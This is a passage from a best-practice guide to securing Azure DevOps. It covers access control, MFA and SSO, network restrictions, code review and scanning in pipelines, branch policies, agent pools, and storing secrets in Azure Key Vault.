• Continuously monitor your inventory and resources for any unauthorized changes or access.

This summary highlights the main topics covered in the guide, providing a holistic approachto Azure DevOps security, aimed at fostering a culture of continuous improvement and collaboration between developers, security teams, and other stakeholders. Implementing these best practices will contribute to the ongoing success of your DevOps projects and helpprotect your organization’s critical assets.

Access Control

Manage users and groups using Role-Based Access Control (RBAC)

Role-Based Access Control (RBAC) is a method of managing user access and permissions based on their roles within an organization. It helps maintain security by ensuring that users only have access to the resources and operations relevant to their job responsibilities. In Azure DevOps, you can use RBAC to assign appropriate permissions to users and groups. Here’s how you can manage users and groups using RBAC in Azure DevOps:

1. Define roles: Start by identifying the distinct roles within your organization, such as developers, testers, project managers, and administrators. Clearly define the responsibilities and required access levels for each role.
2. Create groups: In Azure DevOps, create groups that correspond to the defined roles. For example, you might create groups like “Developers,” “Testers,” or “Project Managers.” Assigning users to these groups will help manage permissions more efficiently.
3. Assign permissions: Assign appropriate permissions to each group based on their role. Azure DevOps has built-in roles with predefined sets of permissions, such as “Reader,” “Contributor,” and “Administrator.” You can also create custom roles with specific permissions tailored to your organization’s needs.
4. Add users to groups: Add users to the appropriate groups based on their roles within the organization. By doing this, users will inherit the permissions assigned to the group they belong to.
5. Regularly review and update: Periodically review the roles, groups, and permissions to ensure they still align with your organization’s requirements. Update roles and permissions as needed, and add or remove users from groups when their roles within the organization change.

By implementing RBAC in Azure DevOps, you can effectively manage user access and ensure that users only have the necessary permissions for their job responsibilities, thus improving security and reducing potential risks.

Apply the principle of least privilege for granting permissions

The principle of least privilege (PoLP) is a security best practice that involves granting users only the minimum permissions they need to perform their job duties. By applying this principle, you can reduce the risk of unauthorized access, data breaches, and other security incidents. Here’s how you can apply the principle of least privilege for granting permissions in Azure DevOps:

1. Analyze job requirements: Begin by analyzing the job responsibilities of each role within your organization. Determine the specific resources and operations each role requires access to in order to perform their tasks effectively.
2. Grant minimal permissions: Assign permissions to users or groups based on their roles, ensuring they have access only to the resources and operations necessary for their job. Avoid granting excessive permissions that go beyond what is required for a given role.
3. Use built-in roles: Azure DevOps provides built-in roles such as “Reader,” “Contributor,” and “Administrator,” which have predefined sets of permissions. Utilize these built-in roles whenever possible, as they are designed to follow the principle of least privilege.
4. Create custom roles: If the built-in roles do not meet your organization’s specific requirements, create custom roles with the minimal set of permissions needed for each role. Be cautious when assigning permissions to custom roles to avoid inadvertently granting excessive access.
5. Regularly review permissions: Periodically review and update the permissions assigned to users and groups. Remove any unnecessary permissions or access that may have been granted over time. Also, adjust permissions when users change roles within the organization or when their job responsibilities evolve.
6. Monitor and audit: Monitor user activities and access patterns to detect potential security issues. Regularly audit permissions to ensure that the principle of least privilege is maintained and that users do not have excessive permissions.

By applying the principle of least privilege in Azure DevOps, you can minimize potential security risks and maintain a more secure environment. This approach helps prevent unauthorized access to sensitive resources and reduces the attack surface for potential adversaries.

Regularly review user accounts and disable unnecessary accounts

Regularly reviewing user accounts and disabling unnecessary accounts is essential to maintain a secure environment in Azure DevOps. By keeping user accounts up to date and removing unused or inactive accounts, you can minimize the risk of unauthorized access and data breaches. Here’s how to regularly review user accounts and disable unnecessary accounts in Azure DevOps:

1. Establish a review schedule: Create a schedule for reviewing user accounts in Azure DevOps. The frequency of these reviews can depend on your organization’s size, the number of users, and your specific security requirements. For example, you might choose to perform reviews monthly, quarterly, or semi-annually.
2. Identify inactive accounts: During the review process, look for user accounts that have been inactive for an extended period or have not been used as expected. Inactive accounts could include those belonging to former employees, temporary workers, or users who have changed roles within the organization.
3. Remove unnecessary accounts: Disable or delete user accounts that are no longer needed or have not been used as expected. Be sure to follow your organization’s policies and procedures for offboarding users, such as revoking access to resources and transferring ownership of any relevant work items.
4. Update user access: If a user has changed roles within the organization, update their permissions and group memberships to reflect their new responsibilities. Ensure that users have access only to the resources and operations necessary for their current role, following the principle of least privilege.
5. Monitor user activity: Utilize Azure DevOps monitoring and auditing features to track user activity and detect potential security issues. Regularly review audit logs and other reports to identify any unusual behavior or access patterns that may indicate unauthorized access or misuse of accounts.
6. Automate account management: Consider using automation tools or scripts to help streamline the user account review process. For example, you can create scripts to identify inactive accounts, send notifications to account owners, or automatically disable accounts that have not been used for a specified period.

By regularly reviewing user accounts and disabling unnecessary ones in Azure DevOps, you can maintain a secure environment and minimize the risk of unauthorized access to your projects and resources. This practice helps keep your user base accurate and ensures that only authorized users have access to your organization’s resources.

Authentication and Authorization

Implement strong authentication with Multi-Factor Authentication (MFA)

Implementing strong authentication with Multi-Factor Authentication (MFA) is a critical security measure that helps protect your Azure DevOps environment from unauthorized access. MFA requires users to provide at least two forms of verification before granting access, making it much more difficult for attackers to compromise user accounts. Here’s how to implement strong authentication with MFA in Azure DevOps:

1. Enable MFA in Azure Active Directory: Azure DevOps relies on Azure Active Directory (Azure AD) for user authentication. To enable MFA, start by configuring it in Azure AD. Go to the Azure portal, navigate to Azure Active Directory, and then find the “Security” section. Here, you can enable MFA for your organization.
2. Set MFA policies: Define MFA policies for your organization based on your security requirements. You can enforce MFA for all users or only specific user groups. Additionally, you can set up conditional access policies that require MFA under certain conditions, such as when users access sensitive resources or when they sign in from unfamiliar locations.
3. Choose authentication factors: MFA supports multiple authentication factors, such as something the user knows (e.g., a password), something the user has (e.g., a hardware token or smartphone), and something the user is (e.g., biometric data like a fingerprint). Choose the authentication factors that best suit your organization’s needs and ensure a secure and user-friendly authentication experience.
4. Educate users: Inform your users about the importance of MFA and provide guidance on how to set up and use MFA for their accounts. Offer resources and support to help users understand the MFA process and troubleshoot any issues they may encounter.
5. Monitor and audit: Continuously monitor and audit user activity to detect any potential security threats or unauthorized access attempts. Review MFA-related logs and reports to identify any suspicious behavior or trends that may indicate a security risk.
6. Regularly review and update: Periodically review your MFA policies and settings to ensure they remain effective and aligned with your organization’s security requirements. Update MFA settings as needed to address any changes in the threat landscape or to accommodate new authentication factors or technologies.

By implementing strong authentication with MFA in Azure DevOps, you can significantly reduce the risk of unauthorized access to your projects and resources. This added layer of security helps protect your organization from potential data breaches, account compromises, and other security incidents.

Provide centralized identity management using SSO and Azure Active Directory integration

Providing centralized identity management using Single Sign-On (SSO) and Azure Active Directory (Azure AD) integration simplifies access control and enhances security in Azure DevOps. SSO allows users to authenticate once and access multiple applications, while Azure AD integration enables centralized management of user accounts and permissions. Here’s how to provide centralized identity management using SSO and Azure Active Directory integration in Azure DevOps:

1. Set up Azure Active Directory: Azure DevOps relies on Azure AD for user authentication and management. If you haven’t already, create and configure an Azure AD tenant for your organization. Add users, groups, and any required custom roles in Azure AD.

2. Configure SSO: Enable SSO by configuring your Azure AD tenant as the identity provider (IdP) for Azure DevOps. In the Azure portal, navigate to the “Enterprise applications” section under Azure Active Directory and add Azure DevOps as an application. Follow the guided setup process to configure SSO between Azure AD and Azure DevOps.

3. Map Azure AD groups to Azure DevOps: After configuring SSO, map Azure AD groups to Azure DevOps by associating them with specific projects or teams. This allows you to manage access permissions centrally through Azure AD while reflecting those permissions in Azure DevOps.

4. Set up conditional access policies: Enhance security by creating conditional access policies in Azure AD. These policies can require additional authentication steps, such as Multi-Factor Authentication (MFA), under specific conditions (e.g., accessing sensitive resources or signing in from unfamiliar locations).

5. Configure third-party identity providers (optional): If your organization uses third-party identity providers (IdPs) such as Google, Facebook, or others, you can integrate them with Azure AD using federation. This allows users to authenticate using their third-party credentials while still benefiting from centralized identity management in Azure AD.

6. Educate users: Inform users about the SSO process and provide guidance on how to access Azure DevOps using their Azure AD credentials. Offer resources and support to help users understand the SSO experience and troubleshoot any issues they may encounter.

7. Monitor and audit: Regularly monitor user activity and access patterns to detect potential security issues. Review Azure AD and Azure DevOps logs to identify any unusual behavior or trends that may indicate security risks.

8. Regularly review and update: Periodically review your SSO and Azure AD integration settings to ensure they remain effective and aligned with your organization’s security requirements. Update settings as needed to address any changes in the threat landscape or to accommodate new identity management features or technologies.

By implementing strong authentication with MFA in Azure DevOps, you can significantly reduce the risk of unauthorized access to your projects and resources. This added layer of security helps protect your organization from potential data breaches, account compromises, and other security incidents.

Reduce authentication risks with risk-based policies and Azure AD Identity Protection.

Reducing authentication risks with risk-based policies and Azure AD Identity Protection helps enhance security in Azure DevOps by detecting and responding to potential threats in real-time. Risk-based policies evaluate user behavior and other factors to identify potential security risks, while Azure AD Identity Protection leverages machine learning algorithms to detect suspicious activities. Here’s how to reduce authentication risks with risk-based policies and Azure AD Identity Protection integration in Azure DevOps:

1. Enable Azure AD Identity Protection: To use Azure AD Identity Protection, you need an Azure AD Premium P2 subscription. Once you have the appropriate subscription, enable Identity Protection in the Azure portal by navigating to Azure Active Directory and then to the “Security” section.

2. Configure risk-based policies: In Azure AD Identity Protection, you can create and configure risk-based policies that automatically respond to detected risks. These policies can include sign-in risk policies and user risk policies.

   • Sign-in risk policies: These policies evaluate the risk level of each sign-in attempt based on factors such as unfamiliar locations, anonymous IP addresses, and unusual sign-in patterns. You can configure these policies to require additional authentication steps, such as Multi-Factor Authentication (MFA), for sign-ins deemed risky.
   • User risk policies: These policies assess the overall risk level of user accounts based on their behavior and activity patterns. You can configure these policies to block access or require users to reset their passwords when a certain risk level is detected.

3. Integrate with Azure DevOps: Azure AD Identity Protection is integrated with Azure DevOps through Azure AD, which serves as the authentication provider for Azure DevOps. As a result, the risk-based policies and protections you configure in Azure AD Identity Protection will automatically apply to your Azure DevOps users.

4. Educate users: Inform your users about the risk-based policies and Azure AD Identity Protection measures in place. Provide guidance on how to respond to risk alerts, such as resetting their password or completing additional authentication steps.

5. Monitor and audit: Regularly review the Azure AD Identity Protection dashboard and reports to monitor detected risks and the effectiveness of your risk-based policies. Adjust policies as needed to address emerging threats or changing security requirements.

6. Regularly review and update: Periodically review your risk-based policies and Azure AD Identity Protection settings to ensure they remain effective and aligned with your organization’s security requirements. Update settings as needed to address any changes in the threat landscape or to accommodate new security features or technologies.

By reducing authentication risks with risk-based policies and Azure AD Identity Protection integration in Azure DevOps, you can enhance security and respond more effectively to potential threats. This approach helps protect your organization from unauthorized access, account compromises, and other security incidents related to user authentication.

Network Security

Restrict access using IP-based network security groups and private networks

Restricting access using IP-based network security groups and private networks helps enhance security in Azure DevOps by limiting access to your resources based on specific IP addresses or address ranges. This approach can help prevent unauthorized access and reduce the attack surface of your environment. Here’s how to restrict access using IP-based network security groups and private networks in Azure DevOps:

1. Configure IP-based restrictions for Azure DevOps Services: You can limit access to your Azure DevOps organization by specifying a list of allowed IP addresses or address ranges. In the Azure DevOps portal, go to the “Organization settings” page, then click on “Security” and “IP restrictions.” Here, you can add the IP addresses or ranges that are allowed to access your organization.

2. Configure Azure Private Link (optional): Azure Private Link enables you to access Azure DevOps Services over a private network connection. By using Private Link, you can securely access your Azure DevOps resources without exposing them to the public internet. To set up Azure Private Link, follow the documentation provided by Microsoft to create a Private Link Service and connect it to your Azure DevOps organization.

3. Set up network security groups (NSGs): NSGs are used to control inbound and outbound traffic to Azure resources, such as virtual machines (VMs) or App Services. Configure NSGs with appropriate rules to allow or deny access based on IP addresses or address ranges. You can create and manage NSGs in the Azure portal by navigating to the “Networking” section of the desired resource.

4. Use virtual networks (VNets): VNets provide a private, isolated network in Azure that you can use to host your resources, such as VMs or App Services. Configure VNets to include the required subnets and IP address ranges, and connect them to your on-premises network using a VPN gateway or ExpressRoute, if necessary. By using VNets, you can ensure that your Azure DevOps resources are only accessible from within your private network.

5. Monitor and audit: Regularly review logs and reports to monitor access to your Azure DevOps resources and detect any potential security issues. Use Azure Monitor, Log Analytics, or other monitoring tools to track access patterns and identify any unusual behavior or trends that may indicate unauthorized access.

6. Regularly review and update: Periodically review your IP-based restrictions, network security groups, and private network configurations to ensure they remain effective and aligned with your organization’s security requirements. Update settings as needed to address any changes in the threat landscape or to accommodate new security features or technologies.

By restricting access using IP-based network security groups and private networks in Azure DevOps, you can enhance security and prevent unauthorized access to your projects and resources. This approach helps ensure that only authorized users and devices can access your Azure DevOps environment, reducing the risk of data breaches and other security incidents.

Establish secure communication with on-premises systems using VPN or ExpressRoute

Establishing secure communication with on-premises systems using VPN or ExpressRoute is essential when you need to integrate Azure DevOps with your existing infrastructure. Both options allow you to create private connections between your on-premises network and Azure, ensuring secure data transfer and reducing exposure to the public internet. Here’s how to establish secure communication with on-premises systems using VPN or ExpressRoute in Azure DevOps:

1. Assess your requirements: Before selecting a connectivity option, evaluate your organization’s needs in terms of bandwidth, latency, and security requirements. While VPN is typically more straightforward and cost-effective, ExpressRoute provides higher bandwidth, lower latency, and enhanced security features.

2. Set up a VPN connection: If you choose to use a VPN, you’ll need to create a VPN gateway in your Azure virtual network (VNet) and configure a VPN device on your on-premises network. Follow the Azure documentation to create and configure the VPN gateway, and then establish a secure site-to-site VPN connection between your on-premises network and Azure VNet.

3. Set up ExpressRoute: If you opt for ExpressRoute, you’ll need to establish a connection between your on-premises network and an Azure ExpressRoute location. This process typically involves working with an ExpressRoute connectivity partner or a network service provider. Follow the Azure documentation to create an ExpressRoute circuit and configure peering to your Azure VNet.

4. Configure Azure DevOps: Once you’ve established a secure connection to Azure, you may need to update the settings in your Azure DevOps projects to enable integration with your on-premises systems. This could involve configuring build and release pipelines to interact with on-premises resources, updating service connections, or modifying other settings to work with your on-premises infrastructure.

5. Monitor and audit: Regularly monitor the health and performance of your VPN or ExpressRoute connection to ensure optimal performance and security. Use Azure Monitor, Network Watcher, or other monitoring tools to track usage, latency, and other metrics. Review logs and reports to detect potential security issues or performance problems.

6. Regularly review and update: Periodically review your VPN or ExpressRoute configuration to ensure it remains effective and aligned with your organization’s security and performance requirements. Update settings as needed to address any changes in the threat landscape, or to accommodate new features or technologies.

By establishing secure communication with on-premises systems using VPN or ExpressRoute in Azure DevOps, you can securely integrate your cloud-based projects and resources with your existing infrastructure. This approach helps ensure that your data is protected during transit and reduces the risk of unauthorized access, data breaches, and other security incidents.

Protect and route network traffic with Azure DDoS Protection and Azure Firewall

Protecting and routing network traffic with Azure DDoS Protection and Azure Firewall enhances the security of your Azure DevOps environment by safeguarding against Distributed Denial of Service (DDoS) attacks and filtering network traffic based on specific rules. Here’s how to protect and route network traffic with Azure DDoS Protection and Azure Firewall in Azure DevOps:

1. Enable Azure DDoS Protection Standard: Azure DDoS Protection Standard provides advanced DDoS protection for your virtual networks (VNets). To enable it, go to the Azure portal, navigate to the “Virtual networks” section, and select the VNet you want to protect. Under the “DDoS Protection” tab, choose “Standard” and save your changes. Azure DDoS Protection Standard will then automatically protect all public IP addresses associated with the VNet.

2. Configure DDoS Protection settings: Customize the settings of your DDoS Protection, such as traffic thresholds and alert settings, to fit your organization’s requirements. Use Azure Monitor and diagnostic logs to review DDoS attack patterns and adjust protection settings accordingly.

3. Deploy Azure Firewall: Azure Firewall is a managed, cloud-based network security service that protects your Azure Virtual Network resources. To deploy Azure Firewall, follow the Azure documentation to create a new firewall instance, configure the required subnets, and associate it with your VNet.

4. Configure Azure Firewall rules: Define rules for Azure Firewall to filter and route network traffic based on specific criteria, such as source and destination IP addresses, protocols, and ports. You can create application rules to control outbound access to specific domains or fully qualified domain names (FQDNs) and network rules to control inbound and outbound traffic based on IP addresses, protocols, and ports.

5. Integrate Azure Firewall with Azure DevOps: Update the network settings in your Azure DevOps projects and pipelines to route traffic through the Azure Firewall instance. This might involve modifying service connections, build agents, or other configurations to work with Azure Firewall.

6. Monitor and audit: Regularly review Azure Firewall logs and metrics to monitor the effectiveness of your rules and detect potential security issues. Use Azure Monitor, Log Analytics, or other monitoring tools to track network traffic patterns and identify any unusual behavior that may indicate unauthorized access or attacks.

7. Regularly review and update: Periodically review your Azure DDoS Protection and Azure Firewall settings to ensure they remain effective and aligned with your organization’s security requirements. Update settings as needed to address any changes in the threat landscape or to accommodate new security features or technologies.

By protecting and routing network traffic with Azure DDoS Protection and Azure Firewall in Azure DevOps, you can enhance security and minimize the risk of DDoS attacks and unauthorized access. This approach helps ensure the integrity and availability of your Azure DevOps environment, reducing the risk of data breaches and other security incidents.

Code Security

Apply code review processes to detect security vulnerabilities.

Applying code review processes to detect security vulnerabilities is essential for ensuring the security and reliability of your Azure DevOps projects. Code reviews help identify potential issues early in the development process, reducing the risk of security breaches and improving overall code quality. Here’s how to apply code review processes to detect security vulnerabilities in Azure DevOps:

1. Establish a code review policy: Create a formal code review policy for your organization that outlines the goals, scope, and process of code reviews. Ensure that the policy covers the identification of security vulnerabilities and encourages collaboration between developers and security teams.

2. Implement branch policies: Configure branch policies in Azure Repos to enforce code reviews for specific branches, such as the main branch or release branches. Enable the “Require a minimum number of reviewers” setting and set an appropriate number of required approvals. This ensures that every pull request must be reviewed and approved by a specified number of developers before it can be merged.

3. Use pull request reviews: Encourage developers to use pull request reviews in Azure Repos to collaborate on code changes, identify security vulnerabilities, and provide feedback. Encourage reviewers to focus not only on code quality and functionality but also on security best practices and potential vulnerabilities.

4. Integrate automated security analysis tools: Leverage automated security analysis tools, such as static application security testing (SAST) and dynamic application security testing (DAST) tools, to scan your codebase for vulnerabilities. Integrate these tools into your build and release pipelines in Azure DevOps to identify security issues early in the development process. Examples of such tools include SonarQube, Fortify, and Checkmarx.

5. Educate developers on secure coding practices: Provide training and resources to developers to help them understand secure coding practices and the importance of identifying and fixing security vulnerabilities during code reviews. Encourage a security-focused mindset and foster a culture of continuous learning and improvement.

6. Track and remediate security vulnerabilities: Use Azure Boards or another issue tracking system to log and track security vulnerabilities identified during code reviews. Assign responsibility for addressing these vulnerabilities and ensure they are resolved in a timely manner.

7. Monitor and audit: Regularly review the effectiveness of your code review processes and their impact on the security of your Azure DevOps projects. Use metrics such as the number of vulnerabilities detected, the time taken to remediate issues, and the overall quality of code changes to evaluate the success of your code review processes.

8. Regularly review and update: Periodically review your code review processes and security policies to ensure they remain effective and aligned with your organization’s security requirements. Update processes as needed to address any changes in the threat landscape or to accommodate new security features or technologies.

By applying code review processes to detect security vulnerabilities in Azure DevOps, you can enhance the security of your projects and reduce the risk of security breaches. This approach helps ensure that your code is developed with security best practices in mind, fostering a culture of continuous improvement and collaboration between developers and security teams.

Use static and dynamic code analysis tools for automatic detection.

Using static and dynamic code analysis tools for automatic detection of vulnerabilities is a crucial part of ensuring the security of your Azure DevOps projects. These tools can help identify potential issues early in the development process, reducing the risk of security breaches and improving overall code quality. Here’s how to use static and dynamic code analysis tools for automatic detection in Azure DevOps:

1. Choose appropriate tools: Select suitable static application security testing (SAST) and dynamic application security testing (DAST) tools based on your organization’s requirements, programming languages, and frameworks. Examples of SAST tools include SonarQube, Fortify, and Checkmarx, while examples of DAST tools include OWASP ZAP, Burp Suite, and Arachni.

2. Integrate SAST tools: Integrate your chosen SAST tools into your build and release pipelines in Azure DevOps. Configure the tools to scan your codebase during the build process and generate reports on identified vulnerabilities. This will help developers address issues early in the development cycle.

3. Integrate DAST tools: Integrate your chosen DAST tools into your release pipelines in Azure DevOps. Configure the tools to scan your web applications during deployment or as part of your testing process. This will help identify vulnerabilities that may only be detected during runtime or when the application is interacting with external systems.

4. Customize tool settings: Tailor the settings of your static and dynamic code analysis tools to align with your organization’s security requirements and risk tolerance. This may involve adjusting rules, severity thresholds, or reporting options to ensure that the tools provide actionable and relevant information.

5. Automate vulnerability detection: Configure your build and release pipelines to automatically trigger static and dynamic code analysis scans during the development and deployment process. This ensures that potential vulnerabilities are identified and addressed consistently and efficiently.

6. Monitor and review results: Regularly review the results of your static and dynamic code analysis scans to track and prioritize identified vulnerabilities. Use Azure Boards or another issue tracking system to log and track security issues, and assign responsibility for addressing them.

7. Remediate vulnerabilities: Ensure that developers and security teams collaborate to address identified vulnerabilities in a timely manner. Use the reports and insights provided by the static and dynamic code analysis tools to guide the remediation process and validate that vulnerabilities have been resolved.

8. Educate developers: Provide training and resources to developers on the use of static and dynamic code analysis tools, as well as secure coding practices. Encourage a security-focused mindset and foster a culture of continuous learning and improvement.

9. Regularly review and update: Periodically review your static and dynamic code analysis tool configurations and processes to ensure they remain effective and aligned with your organization’s security requirements. Update tools and processes as needed to address any changes in the threat landscape or to accommodate new security features or technologies.

By using static and dynamic code analysis tools for automatic detection in Azure DevOps, you can enhance the security of your projects and reduce the risk of security breaches. This approach helps ensure that your code is developed with security best practices in mind, and promotes a culture of continuous improvement and collaboration between developers and security teams.

Establish secure coding standards and ensure dependency security

Establishing secure coding standards and ensuring dependency security is essential for maintaining the security and reliability of your Azure DevOps projects. Secure coding practices help minimize the risk of introducing vulnerabilities in your code, while dependency security ensures that the third-party libraries and components you rely on are also secure. Here’s how to establish secure coding standards and ensure dependency security in Azure DevOps:

1. Develop secure coding guidelines: Create a set of secure coding guidelines that outline best practices for writing secure code in your organization. These guidelines should cover topics such as input validation, error handling, secure data storage, and secure communication. Ensure that the guidelines are tailored to the programming languages and frameworks used in your projects.

2. Educate developers: Provide training and resources to developers on secure coding practices and the importance of following your organization’s secure coding guidelines. Encourage a security-focused mindset and foster a culture of continuous learning and improvement.

3. Integrate security into the development process: Encourage developers to apply secure coding practices throughout the development process, from design and implementation to testing and deployment. Use tools such as static and dynamic code analysis to help identify and address potential security issues.

4. Monitor open-source dependencies: Use tools like Dependabot, WhiteSource, or Snyk to automatically monitor your open-source dependencies for known vulnerabilities and outdated versions. Integrate these tools into your Azure DevOps pipelines to receive automated alerts and recommendations for updating insecure dependencies.

5. Implement dependency management policies: Establish policies for managing dependencies, including guidelines for selecting and approving third-party libraries, reviewing and updating dependencies, and addressing identified vulnerabilities. Ensure that these policies are followed consistently across all projects.

6. Regularly audit dependencies: Periodically review your project’s dependencies to ensure they are up-to-date, secure, and compliant with your organization’s policies. Remove any unnecessary or outdated dependencies that may pose security risks.

7. Use private package feeds: When using package managers like NuGet, npm, or Maven, consider using Azure Artifacts or another private package feed to securely store and manage your dependencies. This allows you to control access to your packages and ensure that only approved dependencies are used in your projects.

8. Establish a vulnerability response process: Develop a process for responding to vulnerabilities in your code or dependencies, including steps for identifying, prioritizing, and addressing vulnerabilities. Ensure that your team is familiar with this process and that it is followed consistently.

9. Regularly review and update: Periodically review your secure coding standards and dependency security policies to ensure they remain effective and aligned with your organization’s security requirements. Update guidelines and policies as needed to address any changes in the threat landscape or to accommodate new security features or technologies.

By establishing secure coding standards and ensuring dependency security in Azure DevOps, you can minimize the risk of security breaches and improve the overall security posture of your projects. This approach helps ensure that your code and the third-party components you rely on are developed with security best practices in mind, fostering a culture of continuous improvement and collaboration between developers and security teams.

DevOps Security

Add security controls and automated tests in Build and Release pipelines

Adding security controls and automated tests in Build and Release pipelines can help improve the security of your Azure DevOps projects by identifying and addressing vulnerabilities early in the development process. Integrating security checks into your pipelines ensures that security is an integral part of your software development lifecycle. Here’s how to add security controls and automated tests in Build and Release pipelines in Azure DevOps:

1. Integrate SAST tools: Integrate Static Application Security Testing (SAST) tools like SonarQube, Fortify, or Checkmarx into your build pipeline. Configure the tools to automatically scan your code for vulnerabilities during the build process and generate reports on identified issues.

2. Integrate DAST tools: Integrate Dynamic Application Security Testing (DAST) tools like OWASP ZAP, Burp Suite, or Arachni into your release pipeline. Configure these tools to automatically scan your web applications during deployment or as part of your testing process, identifying vulnerabilities that may only be detected during runtime or when the application is interacting with external systems.

3. Implement automated security tests: Develop custom automated security tests to validate the security of your application. These tests can include checks for input validation, secure communication, authentication, and other security requirements.

Integrate these tests into your build or release pipelines to ensure they are executed during the development process.

4. Use dependency vulnerability scanning tools: Incorporate tools like Dependabot, WhiteSource, or Snyk into your build pipeline to automatically check your project’s dependencies for known vulnerabilities and outdated versions. This helps ensure that third-party libraries and components you rely on are also secure.

5. Enforce code signing: Configure your build pipeline to sign your code using a trusted digital certificate. This helps ensure the integrity of your code and protects against tampering or unauthorized modifications.

6. Implement security gates: Add security gates in your release pipeline that prevent the deployment of code with identified vulnerabilities. Configure these gates to automatically block the release if security issues are detected, requiring the issues to be resolved before deployment can proceed.

7. Monitor and review pipeline results: Regularly review the results of your security scans and tests to identify and prioritize vulnerabilities. Use Azure Boards or another issue tracking system to log and track security issues, assigning responsibility for addressing them.

8. Remediate vulnerabilities: Ensure that developers and security teams collaborate to address identified vulnerabilities in a timely manner. Use the reports and insights provided by security tools and tests to guide the remediation process and validate that vulnerabilities have been resolved.

9. Regularly review and update: Periodically review your build and release pipeline configurations, security controls, and automated tests to ensure they remain effectiveand aligned with your organization’s security requirements. Update tools, tests, and processes as needed to address any changes in the threat landscape or to accommodate new security features or technologies.

By adding security controls and automated tests in Build and Release pipelines in Azure DevOps, you can enhance the security of your projects and reduce the risk of security breaches. This approach helps ensure that security is an integral part of your software development lifecycle, fostering a culture of continuous improvement and collaboration between developers and security teams.

Secure agents by using trusted agent pools

Securing agents by using trusted agent pools is essential to ensure the integrity and security of your build and release processes in Azure DevOps. Trusted agent pools help minimize the risk of unauthorized access or tampering with your build and release pipelines. Here’s how to secure agents by using trusted agent pools in Azure DevOps:

1. Understand agent pools: An agent pool is a collection of agents that are used to run build and release tasks in Azure DevOps. Agents can be either Microsoft-hosted or self-hosted. Microsoft-hosted agents are automatically maintained and secured by Azure DevOps, while self-hosted agents require manual management and security configuration.

2. Choose the appropriate agent type: When using Microsoft-hosted agents, you benefit from the security and maintenance provided by Microsoft. However, if your organization has specific security requirements or needs to access on-premises resources, you might need to use self-hosted agents.

3. Create dedicated agent pools: For self-hosted agents, create dedicated agent pools for different projects or environments (e.g., development, staging, production). This helps you isolate the resources and control access to specific agent pools, minimizing the potential impact of security breaches or misconfigurations.

4. Restrict access to agent pools: Use Role-Based Access Control (RBAC) to restrict access to your agent pools. Assign the appropriate roles to users and groups, such as “Agent Pool Administrator” or “Agent Pool User,” to control who can manage and use the agents within a specific pool.

5. Secure self-hosted agents: When using self-hosted agents, ensure they are installed on secure and regularly updated machines. Configure the agents to run as a dedicated user with the least necessary privileges, and use network security best practices to protect the machines hosting the agents, such as firewall rules and network segmentation.

6. Regularly update self-hosted agents: Ensure your self-hosted agents are always up to date with the latest security patches and updates. Regularly check for updates and apply them in a timely manner to minimize security risks.

7. Monitor agent activity: Regularly review the logs and activity of your agents to identify any suspicious activity or potential security issues. Use Azure Monitor or other monitoring tools to keep track of agent performance and health.

8. Secure agent communication: Ensure the communication between your agents and Azure DevOps is secure by using HTTPS and secure web sockets (WSS). This helps protect the confidentiality and integrity of the data exchanged between agents and the Azure DevOps server.

9. Regularly review and update: Periodically review your agent pool configurations and security settings to ensure they remain effective and aligned with your organization’s security requirements. Update settings and processes as needed to address any changes in the threat landscape or to accommodate new security features or technologies.

By securing agents using trusted agent pools in Azure DevOps, you can minimize the risk of security breaches or unauthorized access to your build and release processes. This approach helps ensure the integrity and security of your software development lifecycle, fostering a culture of continuous improvement and collaboration between developers and security teams.

Ensure code security with Git branch policies and pull request reviews

Ensuring code security with Git branch policies and pull request reviews is an important aspect of maintaining the security and quality of your codebase in Azure DevOps. Implementing branch policies and enforcing code reviews helps you catch potential vulnerabilities before they are merged into your main branches. Here’s how to ensure code security with Git branch policies and pull request reviews in Azure DevOps:

1. Set up branch policies: In your Azure DevOps project, navigate to the Repos section, and then to the Branches tab. Choose the main branch or any other branch that requires protection, and click on the “…” icon next to it. Select “Branch policies” to configure the policies for that branch.

2. Require pull requests: Enable the “Require a minimum number of reviewers” policy and set the number of required reviewers to ensure that all changes must go through a pull request process before they can be merged. This ensures that every change is reviewed and approved by the appropriate team members.

3. Enforce reviewer requirements: Configure the “Automatically include code reviewers” policy to automatically assign specific reviewers or groups to review changes to specific parts of your codebase. This ensures that the right experts review the changes and provides an additional layer of security.

4. Use required approvers: If you have specific individuals or groups responsible for approving changes, you can enforce their approval using the “Required approvers” policy. This ensures that only authorized personnel can approve changes before they are merged.

5. Enforce code review comments: Enable the “Reset code reviewer votes when there are new changes” policy to require reviewers to re-review and approve changes if additional commits are added to a pull request. This ensures that all changes are reviewed and approved, even if they are made after the initial review.

6. Check for linked work items: Enable the “Check for linked work items” policy to require that each pull request is associated with one or more work items. This helps maintain traceability between changes and their corresponding tasks or requirements.

7. Configure build validation: Enable the “Build validation” policy to automatically trigger a build and run tests whenever a pull request is created or updated. This ensures that your code is tested and validated before it’s merged, reducing the risk of introducing vulnerabilities or breaking existing functionality.

8. Enforce status checks: If you use external services, such as SonarQube or security scanning tools, configure the “Status checks” policy to require these services to report a successful status before a pull request can be completed. This ensures that your code meets the required quality and security standards.

9. Regularly review and update policies: Periodically review your Git branch policies and pull request review processes to ensure they remain effective and aligned with your organization’s security requirements. Update policies and processes as needed to address any changes in the threat landscape or to accommodate new security features or technologies.

By ensuring code security with Git branch policies and pull request reviews in Azure DevOps, you can minimize the risk of security breaches and maintain a high-quality codebase. This approach helps ensure that your code is developed with security best practices in mind and promotes a culture of continuous improvement and collaboration between developers and security teams.

Azure Key Vault

Securely store credentials, certificates, and access keys in Azure Key Vault

Securely storing credentials, certificates, and access keys in Azure Key Vault is crucial for protecting sensitive information and maintaining the security of your Azure DevOps projects. Azure Key Vault helps centralize and manage secrets, making it easier to implement secure access controls and monitor usage. Here’s how to securely store credentials, certificates, and access keys in Azure Key Vault:

1. Create an Azure Key Vault: In the Azure portal, create a new Key Vault resource. Choose a unique name for your Key Vault and configure the appropriate subscription, resource group, and location.

2. Add secrets, keys, and certificates: Store sensitive information, such as credentials, access keys, and certificates, as secrets or keys in the Key Vault. Use the Azure portal, Azure CLI, or SDKs to add and manage these items.

3. Use Role-Based Access Control (RBAC): Configure access to your Key Vault using RBAC. Assign appropriate roles, such as “Key Vault Contributor” or “Key Vault Reader,” to users, groups, or service principals to control who can manage and access your secrets, keys, and certificates.

4. Enable access policies: In addition to RBAC, configure access policies to grant fine-grained permissions to specific users, groups, or service principals. Access policies allow you to control access to individual secrets, keys, or certificates within the Key Vault.

